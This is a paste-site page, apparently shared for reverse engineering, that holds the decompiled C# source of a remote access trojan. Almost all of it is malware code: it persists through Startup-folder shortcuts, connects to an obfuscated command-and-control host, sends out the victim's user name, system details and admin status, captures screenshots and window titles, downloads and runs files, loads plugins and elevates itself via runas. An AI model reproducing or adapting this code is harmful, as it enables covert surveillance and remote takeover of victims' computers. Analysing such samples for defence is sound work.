Surprise! We've been running on hardware provided by BuyVM for a few months and wanted to show them a little appreciation.
Running a paste site comes with unique challenges, ones that aren't always obvious and hard to control. As such, BuyVM offered us a home where we could worry less about the hosting side of things and focus on maintaining a clean and useful service! Go check them out and show them some love!
Description: TROJAN PAYLOAD REVERSE ENGINEERING DO NOT RUN!!!!
Submitted on January 17, 2023 at 03:30 PM

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621
// Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
// for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.
// Stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// L
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;

public class L
{
	public static string P;

	public static string x = "https://5252";

	public static string RG = "Windows";

	public static string sf = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS";

	public static string VN = "NjY2NjY2NjY2NjY2NjY2NjY2NjYoSU5MSUJZQSk=";

	public static string Y = "|-F-|";

	public static string H;

	public static string ss = "https://yl.moc.0202aybil.5252";

	public static bool BD = Conversions.ToBoolean("False");

	public static bool Idr = Conversions.ToBoolean("False");

	public static bool IsF = Conversions.ToBoolean("False");

	public static bool Isu = Conversions.ToBoolean("False");

	public static bool att = Conversions.ToBoolean("False");

	public static bool DIC = Conversions.ToBoolean("False");

	public static string DR = "TEMP";

	public static string EXE = "Payload.exe";

	public static string Time = "4";

	public static string lastcap = "";

	public static string VU = "v2.0";

	public static string DS = "Put discord title link to receive notifications !!";

	public static WindowsIdentity Str_0 = WindowsIdentity.GetCurrent();

	public static WindowsPrincipal Str_1 = new WindowsPrincipal(Str_0);

	public static object Fc = Str_1.IsInRole(WindowsBuiltInRole.Administrator).ToString().Replace("False", "User")
		.Replace("True", "Admin");

	public static string LIH = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".exe";

	public static string rgg = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".URL";

	private static byte[] b = new byte[5121];

	public static TcpClient FCC = null;

	public static bool Cn = false;

	public static object PLG = null;

	public static Computer F = new Computer();

	public static FileStream FS;

	public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);

	private static MemoryStream MeM = new MemoryStream();

	public static object MT = null;

	private static void LOP(object a0)
	{
		Ind((byte[])a0);
	}

	[STAThread]
	public static void main()
	{
		try
		{
			object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")), (Type)null, "CreateShortcut", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".lnk" }, (string[])null, (Type[])null, (bool[])null))));
			NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "TargetPath", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".exe" }, (string[])null, (Type[])null);
			NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "Save", new object[0], (string[])null, (Type[])null, (bool[])null, true);
			object objectValue2 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")), (Type)null, "CreateShortcut", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".lnk" }, (string[])null, (Type[])null, (bool[])null))));
			NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue2), (Type)null, "TargetPath", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".exe" }, (string[])null, (Type[])null);
			NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue2), (Type)null, "Save", new object[0], (string[])null, (Type[])null, (bool[])null, true);
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.ClearProjectError();
		}
		ko();
	}

	private static void _Lambda__2(object a0, SessionEndingEventArgs a1)
	{
		ED();
	}

	[DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextLengthA", ExactSpelling = true, SetLastError = true)]
	public static extern int GetWindowTextLength(long hwnd);

	public static string ACT()
	{
		string result;
		try
		{
			IntPtr foregroundWindow = GetForegroundWindow();
			if (foregroundWindow == IntPtr.Zero)
			{
				return "";
			}
			string WinTitle = Strings.Space(checked(GetWindowTextLength((long)foregroundWindow) + 1));
			GetWindowText(foregroundWindow, ref WinTitle, WinTitle.Length);
			result = ENB(ref WinTitle);
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception projectError = ex2;
			ProjectData.SetProjectError(projectError);
			result = "";
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		return result;
	}

	public static string BS(ref byte[] B)
	{
		return Encoding.UTF8.GetString(B);
	}

	public static bool Cam()
	{
		checked
		{
			try
			{
				int num = 0;
				do
				{
					string lpszVer = null;
					short wDriver = (short)num;
					string lpszName = Strings.Space(100);
					if (capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100))
					{
						return true;
					}
					num++;
				}
				while (num <= 4);
			}
			catch (Exception ex)
			{
				ProjectData.SetProjectError(ex);
				Exception ex2 = ex;
				ProjectData.SetProjectError(ex2);
				Exception ex3 = ex2;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
			return false;
		}
	}

	[DllImport("avicap32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
	public static extern bool capGetDriverDescriptionA(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);

	public static bool connect()
	{
		Cn = false;
		Thread.Sleep(2000);
		FileInfo lO = LO;
		lock (lO)
		{
			try
			{
				if (FCC != null)
				{
					try
					{
						FCC.Close();
						FCC = null;
					}
					catch (Exception ex)
					{
						ProjectData.SetProjectError(ex);
						Exception ex2 = ex;
						ProjectData.SetProjectError(ex2);
						Exception projectError = ex2;
						ProjectData.SetProjectError(projectError);
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
					}
				}
				try
				{
					MeM.Dispose();
				}
				catch (Exception ex3)
				{
					ProjectData.SetProjectError(ex3);
					Exception ex4 = ex3;
					ProjectData.SetProjectError(ex4);
					Exception projectError2 = ex4;
					ProjectData.SetProjectError(projectError2);
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
				}
			}
			catch (Exception ex5)
			{
				ProjectData.SetProjectError(ex5);
				Exception ex6 = ex5;
				ProjectData.SetProjectError(ex6);
				Exception projectError3 = ex6;
				ProjectData.SetProjectError(projectError3);
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
			try
			{
				MeM = new MemoryStream();
				FCC = new TcpClient();
				FCC.ReceiveBufferSize = 204800;
				FCC.SendBufferSize = 204800;
				FCC.Client.SendTimeout = 10000;
				FCC.Client.ReceiveTimeout = 10000;
				FCC.Connect(H, Conversions.ToInteger(P));
				Cn = true;
				Send(inf());
				try
				{
					string text = default(string);
					if (Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(GTV("vn", "")), (object)"", false))
					{
						text = text + DEB(ref VN) + "\r\n";
					}
					else
					{
						string text2 = text;
						string s = Conversions.ToString(RuntimeHelpers.GetObjectValue(GTV("vn", "")));
						text = text2 + DEB(ref s) + "\r\n";
					}
					text = string.Concat(text + H + ":" + P + "\r\n", DR, "\r\n", EXE, "\r\n", Conversions.ToString(Idr), "\r\n", Conversions.ToString(IsF), "\r\n", Conversions.ToString(Isu), "\r\n", Conversions.ToString(BD));
					Send("inf" + Y + ENB(ref text));
				}
				catch (Exception ex7)
				{
					ProjectData.SetProjectError(ex7);
					Exception ex8 = ex7;
					ProjectData.SetProjectError(ex8);
					Exception projectError4 = ex8;
					ProjectData.SetProjectError(projectError4);
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
				}
			}
			catch (Exception ex9)
			{
				ProjectData.SetProjectError(ex9);
				Exception ex10 = ex9;
				ProjectData.SetProjectError(ex10);
				Exception projectError5 = ex10;
				ProjectData.SetProjectError(projectError5);
				Cn = false;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
		return Cn;
	}

	public static string DEB(ref string s)
	{
		byte[] B = Convert.FromBase64String(s);
		return BS(ref B);
	}

	public static void DLV(string n)
	{
		try
		{
			((ServerComputer)F).Registry.CurrentUser.OpenSubKey("Software\\" + RG, writable: true).DeleteValue(n);
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
	}

	public static void ED()
	{
		pr(0);
	}

	public static string ENB(ref string s)
	{
		return Convert.ToBase64String(SB(ref s));
	}

	[DllImport("user32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
	public static extern IntPtr GetForegroundWindow();

	[DllImport("kernel32", CharSet = CharSet.Ansi, EntryPoint = "GetVolumeInformationA", ExactSpelling = true, SetLastError = true)]
	private static extern int GetVolumeInformation([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpRootPathName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, ref int lpMaximumComponentLength, ref int lpFileSystemFlags, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileSystemNameBuffer, int nFileSystemNameSize);

	[DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextA", ExactSpelling = true, SetLastError = true)]
	public static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);

	public static object GTV(string n, object ret)
	{
		try
		{
			return RuntimeHelpers.GetObjectValue(((ServerComputer)F).Registry.CurrentUser.OpenSubKey("Software\\" + RG).GetValue(n, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(ret)))));
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			object objectValue = RuntimeHelpers.GetObjectValue(ret);
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			return objectValue;
		}
	}

	private static string HWD()
	{
		try
		{
			string lpVolumeNameBuffer = null;
			int lpMaximumComponentLength = 0;
			int lpFileSystemFlags = 0;
			string lpFileSystemNameBuffer = null;
			string lpRootPathName = Interaction.Environ("SystemDrive") + "\\";
			int lpVolumeSerialNumber = default(int);
			GetVolumeInformation(ref lpRootPathName, ref lpVolumeNameBuffer, 0, ref lpVolumeSerialNumber, ref lpMaximumComponentLength, ref lpFileSystemFlags, ref lpFileSystemNameBuffer, 0);
			return Conversion.Hex(lpVolumeSerialNumber);
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			string result = "ERR";
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			return result;
		}
	}

	private static void ASMIN(bool isCritical, ref bool refWasCritical, bool needSystemCriticalBreaks)
	{
	}

	[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
	public static void Ind(byte[] b)
	{
		//IL_076a: Unknown result type (might be due to invalid IL or missing references)
		//IL_076f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0776: Unknown result type (might be due to invalid IL or missing references)
		//IL_077b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0790: Unknown result type (might be due to invalid IL or missing references)
		//IL_0797: Expected O, but got Unknown
		//IL_07bb: Unknown result type (might be due to invalid IL or missing references)
		//IL_07d4: Unknown result type (might be due to invalid IL or missing references)
		//IL_07d9: Unknown result type (might be due to invalid IL or missing references)
		//IL_07e7: Unknown result type (might be due to invalid IL or missing references)
		//IL_0826: Unknown result type (might be due to invalid IL or missing references)
		//IL_082d: Expected O, but got Unknown
		string[] array = Strings.Split(BS(ref b), Y, -1, (CompareMethod)0);
		checked
		{
			try
			{
				string text = array[0];
				switch (text)
				{
				case "AW":
				{
					Process process = new Process();
					process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
					process.StartInfo.FileName = Application.ExecutablePath;
					process.StartInfo.UseShellExecute = true;
					process.StartInfo.Verb = "runas";
					process.StartInfo.Arguments = "";
					process.Start();
					try
					{
						bool refWasCritical = default(bool);
						ASMIN(isCritical: false, ref refWasCritical, needSystemCriticalBreaks: false);
					}
					catch (Exception ex)
					{
						ProjectData.SetProjectError(ex);
						Exception ex2 = ex;
						ProjectData.ClearProjectError();
					}
					Environment.Exit(0);
					break;
				}
				case "TMP":
					Send("TMP");
					break;
				case "RNS":
					Send("RNS");
					break;
				case "Setting_Chat":
					Send("Setting_Chat");
					break;
				case "ll":
					Cn = false;
					return;
				case "prof":
					switch (array[1])
					{
					case "~":
						STV(array[2], array[3], RegistryValueKind.String);
						break;
					case "!":
						STV(array[2], array[3], RegistryValueKind.String);
						Send(Conversions.ToString(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject((object)("getvalue" + Y + array[1] + Y), RuntimeHelpers.GetObjectValue(GTV(array[1], ""))))));
						break;
					case "@":
						DLV(array[2]);
						break;
					}
					return;
				}
				if (Operators.CompareString(text, "rn", false) == 0)
				{
					byte[] bytes = default(byte[]);
					if (array[2][0] == '\u001f')
					{
						try
						{
							MemoryStream memoryStream = new MemoryStream();
							int length = (array[0] + Y + array[1] + Y).Length;
							memoryStream.Write(b, length, b.Length - length);
							bytes = ZIP(memoryStream.ToArray());
						}
						catch (Exception ex3)
						{
							ProjectData.SetProjectError(ex3);
							Exception ex4 = ex3;
							ProjectData.SetProjectError(ex4);
							Exception ex5 = ex4;
							Send("MSG" + Y + "Execute ERROR");
							Send("bla");
							ProjectData.ClearProjectError();
							ProjectData.ClearProjectError();
							return;
						}
					}
					Send("bla");
					string text2 = Path.GetTempFileName() + "." + array[1];
					try
					{
						File.WriteAllBytes(text2, bytes);
						Process.Start(text2);
						Send("MSG" + Y + "Executed As " + new FileInfo(text2).Name);
						return;
					}
					catch (Exception ex6)
					{
						ProjectData.SetProjectError(ex6);
						Exception ex7 = ex6;
						ProjectData.SetProjectError(ex7);
						Exception ex8 = ex7;
						Send("MSG" + Y + "Execute ERROR " + ex8.Message);
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
						return;
					}
				}
				switch (text)
				{
				case "inv":
				{
					byte[] array2 = (byte[])GTV(array[1], new byte[0]);
					if ((array[3].Length < 10) & (array2.Length == 0))
					{
						Send("pl" + Y + array[1] + Y + Conversions.ToString(1));
						return;
					}
					if (array[3].Length > 10)
					{
						MemoryStream memoryStream2 = new MemoryStream();
						int length2 = (array[0] + Y + array[1] + Y + array[2] + Y).Length;
						memoryStream2.Write(b, length2, b.Length - length2);
						array2 = ZIP(memoryStream2.ToArray());
						STV(array[1], array2, RegistryValueKind.Binary);
					}
					Send("pl" + Y + array[1] + Y + Conversions.ToString(0));
					object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Plugin(array2, "A"))));
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "h", new object[1] { H }, (string[])null, (Type[])null);
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "p", new object[1] { P }, (string[])null, (Type[])null);
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "osk", new object[1] { array[2] }, (string[])null, (Type[])null);
					NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "start", new object[0], (string[])null, (Type[])null, (bool[])null, true);
					while (!Conversions.ToBoolean(RuntimeHelpers.GetObjectValue(Operators.OrObject((object)(!Cn), RuntimeHelpers.GetObjectValue(Operators.CompareObjectEqual(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "Off", new object[0], (string[])null, (Type[])null, (bool[])null)), (object)true, false))))))
					{
						Thread.Sleep(1);
					}
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "off", new object[1] { true }, (string[])null, (Type[])null);
					return;
				}
				case "ret":
				{
					byte[] array3 = (byte[])GTV(array[1], new byte[0]);
					if ((array[2].Length < 10) & (array3.Length == 0))
					{
						Send("pl" + Y + array[1] + Y + Conversions.ToString(1));
						return;
					}
					if (array[2].Length > 10)
					{
						MemoryStream memoryStream3 = new MemoryStream();
						int length3 = (array[0] + Y + array[1] + Y).Length;
						memoryStream3.Write(b, length3, b.Length - length3);
						array3 = ZIP(memoryStream3.ToArray());
						STV(array[1], array3, RegistryValueKind.Binary);
					}
					Send("pl" + Y + array[1] + Y + Conversions.ToString(0));
					object objectValue2 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Plugin(array3, "A"))));
					string[] array4 = new string[5]
					{
						"ret",
						Y,
						array[1],
						Y,
						null
					};
					string[] array5 = array4;
					string s = Conversions.ToString(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue2), (Type)null, "GT", new object[0], (string[])null, (Type[])null, (bool[])null)));
					array5[4] = ENB(ref s);
					Send(string.Concat(array4));
					return;
				}
				case "CAP":
				{
					Rectangle bounds = Screen.PrimaryScreen.Bounds;
					Rectangle bounds2 = Screen.PrimaryScreen.Bounds;
					Bitmap val = new Bitmap(((Rectangle)(ref bounds2)).Width, ((Rectangle)(ref bounds)).Height, (PixelFormat)135173);
					Graphics val2 = Graphics.FromImage((Image)(object)val);
					Size val3 = default(Size);
					((Size)(ref val3))._002Ector(((Image)val).Width, ((Image)val).Height);
					val2.CopyFromScreen(0, 0, 0, 0, val3, (CopyPixelOperation)13369376);
					try
					{
						((Size)(ref val3))._002Ector(32, 32);
						((Rectangle)(ref bounds))._002Ector(Cursor.Position, val3);
						Cursors.Default.Draw(val2, bounds);
					}
					catch (Exception ex9)
					{
						ProjectData.SetProjectError(ex9);
						Exception ex10 = ex9;
						ProjectData.SetProjectError(ex10);
						Exception ex11 = ex10;
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
					}
					val2.Dispose();
					Bitmap val4 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
					val2 = Graphics.FromImage((Image)(object)val4);
					val2.DrawImage((Image)(object)val, 0, 0, ((Image)val4).Width, ((Image)val4).Height);
					val2.Dispose();
					MemoryStream memoryStream4 = new MemoryStream();
					string s = "CAP" + Y;
					b = SB(ref s);
					memoryStream4.Write(b, 0, b.Length);
					MemoryStream memoryStream5 = new MemoryStream();
					((Image)val4).Save((Stream)memoryStream5, ImageFormat.Jpeg);
					string text3 = md5(memoryStream5.ToArray());
					if (Operators.CompareString(text3, lastcap, false) != 0)
					{
						lastcap = text3;
						memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
					}
					else
					{
						memoryStream4.WriteByte(0);
					}
					Sendb(memoryStream4.ToArray());
					memoryStream4.Dispose();
					memoryStream5.Dispose();
					((Image)val).Dispose();
					((Image)val4).Dispose();
					return;
				}
				case "un":
					switch (array[1])
					{
					case "~":
						UNS();
						break;
					case "!":
						pr(0);
						ProjectData.EndApp();
						break;
					case "@":
						pr(0);
						Process.Start(LO.FullName);
						ProjectData.EndApp();
						break;
					}
					return;
				}
				if (Operators.CompareString(text, "Ex", false) == 0)
				{
					if (PLG == null)
					{
						Send("PLG");
						int num = 0;
						while (!(unchecked(PLG != null || num == 20) | !Cn))
						{
							num++;
							Thread.Sleep(1000);
						}
						if ((PLG == null) | !Cn)
						{
							return;
						}
					}
					object[] array6 = new object[1] { b };
					bool[] array7 = new bool[1] { true };
					NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "ind", array6, (string[])null, (Type[])null, array7, true);
					if (array7[0])
					{
						b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(array6[0]))), typeof(byte[]));
					}
				}
				else if (Operators.CompareString(text, "PLG", false) == 0)
				{
					MemoryStream memoryStream6 = new MemoryStream();
					int length4 = (array[0] + Y).Length;
					memoryStream6.Write(b, length4, b.Length - length4);
					PLG = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Plugin(ZIP(memoryStream6.ToArray()), "A"))));
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "H", new object[1] { H }, (string[])null, (Type[])null);
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "P", new object[1] { P }, (string[])null, (Type[])null);
					NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "c", new object[1] { FCC }, (string[])null, (Type[])null);
				}
			}
			catch (Exception ex12)
			{
				ProjectData.SetProjectError(ex12);
				Exception ex13 = ex12;
				ProjectData.SetProjectError(ex13);
				Exception ex14 = ex13;
				if (array.Length > 0 && ((Operators.CompareString(array[0], "Ex", false) == 0) | (Operators.CompareString(array[0], "PLG", false) == 0)))
				{
					PLG = null;
				}
				try
				{
					Send("ER" + Y + array[0] + Y + ex14.Message);
				}
				catch (Exception ex15)
				{
					ProjectData.SetProjectError(ex15);
					Exception ex16 = ex15;
					ProjectData.SetProjectError(ex16);
					Exception ex17 = ex16;
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
				}
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
	}

	public static string inf()
	{
		string text = "ll" + Y;
		try
		{
			if (Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(GTV("vn", "")), (object)"", false))
			{
				string text2 = text;
				string s = DEB(ref VN) + " : C [ " + HWD() + " ]";
				text = text2 + ENB(ref s) + Y;
			}
			else
			{
				string text3 = text;
				string s = Conversions.ToString(RuntimeHelpers.GetObjectValue(GTV("vn", "")));
				string s2 = DEB(ref s) + "_" + HWD();
				text = text3 + ENB(ref s2) + Y;
			}
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			string text4 = text;
			string s2 = HWD();
			text = text4 + ENB(ref s2) + Y;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			text = text + Environment.UserName + Y;
		}
		catch (Exception ex4)
		{
			ProjectData.SetProjectError(ex4);
			Exception ex5 = ex4;
			ProjectData.SetProjectError(ex5);
			Exception ex6 = ex5;
			text = text + "??" + Y;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			text = text + LO.LastWriteTime.Date.ToString("yy-MM-dd") + Y;
		}
		catch (Exception ex7)
		{
			ProjectData.SetProjectError(ex7);
			Exception ex8 = ex7;
			ProjectData.SetProjectError(ex8);
			Exception ex9 = ex8;
			text = text + "??" + Y;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object)text, Fc), (object)Y));
		}
		catch (Exception ex10)
		{
			ProjectData.SetProjectError(ex10);
			Exception ex11 = ex10;
			ProjectData.SetProjectError(ex11);
			Exception ex12 = ex11;
			text = text + "??-??-??" + Y;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		string text5 = ((ServerComputer)F).Info.OSFullName.Replace("Microsoft", "").Replace("x", "X").Replace("X", "X")
			.Replace("Windows", "Win")
			.Replace("®", "")
			.Replace("â„¢", "")
			.Replace("  ", " ")
			.Replace(" Win", "Win");
		text = text + "..." + Y;
		text = text + text5.Substring(0, 5) + Y;
		try
		{
			text += ((ServerComputer)F).Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "")
				.Replace("â„¢", "")
				.Replace("  ", " ")
				.Replace(" Win", "Win");
		}
		catch (Exception ex13)
		{
			ProjectData.SetProjectError(ex13);
			Exception ex14 = ex13;
			ProjectData.SetProjectError(ex14);
			Exception ex15 = ex14;
			text += "??";
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		text += "SP";
		try
		{
			string[] array = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, (CompareMethod)0);
			if (array.Length == 1)
			{
				text += "0";
			}
			text += array[checked(array.Length - 1)];
		}
		catch (Exception ex16)
		{
			ProjectData.SetProjectError(ex16);
			Exception ex17 = ex16;
			ProjectData.SetProjectError(ex17);
			Exception ex18 = ex17;
			text += "0";
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			text = ((!Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86")) ? (text + " x86" + Y) : (text + " x64" + Y));
		}
		catch (Exception ex19)
